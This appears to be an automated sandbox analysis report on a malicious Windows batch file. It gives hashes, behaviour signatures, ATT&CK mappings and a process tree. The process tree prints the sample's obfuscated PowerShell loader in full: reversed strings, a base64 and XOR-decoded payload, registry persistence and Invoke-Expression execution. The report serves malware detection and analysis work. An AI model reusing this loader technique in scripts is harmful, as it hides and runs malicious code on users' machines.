549f9fed39593ad71da295a4a37c2399d80768f875c2c7ec1092a992894a5668

Analysis

max time kernel
38s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
23/04/2026, 04:41

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General

Target
549f9fed39593ad71da295a4a37c2399d80768f875c2c7ec1092a992894a5668.bat
Size 4.1MB
Sample260423-fa43jsaz8t
SHA256 549f9fed39593ad71da295a4a37c2399d80768f875c2c7ec1092a992894a5668
MD5 49d264bdc02f0e13fb5d626557cbdbf6
SHA1 be79a8eef7c6ea33b0ae08d862d6d945c7e5b0a8
SHA512 9bd8bca62c035cbae8d2483e91e6a217edfff9f4df8e0ef3af57d81c15970bc37510072d46d15b596b3ddce1fd8fe5a3c82933d3ce77e84b2cd93529c7bea856
SSDEEP 49152:lJ4gJFxW/FT2kbPwsSIvotfesFSSsB9fmbJ/N+OuBVmYxh0qn5+7ioeZzpoFzr1:D
TLSH
T1B11602484DBBB2061FCDDB45F39BFFDFB85262A2F941122470AA5DC933A12561C6D0B8
MD5 SHA1 SHA512 SSDEEP TLSH

Score

6^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3352	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3352	powershell.exe
3352	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3352	powershell.exe

Suspicious use of WriteProcessMemory 1 IoCs

description	pid	Process	procid_target
PID 2728 wrote to memory of 3352	2728	cmd.exe	81

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\549f9fed39593ad71da295a4a37c2399d80768f875c2c7ec1092a992894a5668.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2728
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -c "Write-Host ('dedaoL rotcartxE llehsrewoP'[-1..-27] -join '');$path = $env:IdhmBSKvPL;$path = $path.Trim();$path = $path.Substring(1, $path.Length - 2);Write-Host $path;$_1 = Get-Content -Path $path;$_3 = $_1 -split '\n';$_2 = $_3[-1];$_2 = [Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($_2.Replace('\n', ''));$_4 = New-Object byte[] $_2.Length;for ($_5 = 0; $_5 -lt $_4.Length; $_5++) {$_4[$_5] = $_2[$_5] -bxor 0x20;};$_4 = [System.Text.Encoding]::Unicode.GetString($_4);Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows Search' -Name 'oJCTcuyeXV' -Value $_4;$_4 | Invoke-Expression"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3352

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_0tlaroos.duq.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0tlaroos.duq.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3352-0-0x000001D950850000-0x000001D950860000-memory.dmp

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memory/3352-1-0x000001D950850000-0x000001D950860000-memory.dmp

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memory/3352-2-0x000001D950AA0000-0x000001D950AC2000-memory.dmp

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memory/3352-9-0x000001D950850000-0x000001D950860000-memory.dmp

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memory/3352-13-0x000001D950A50000-0x000001D950A62000-memory.dmp

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memory/3352-12-0x000001D950960000-0x000001D950A4A000-memory.dmp

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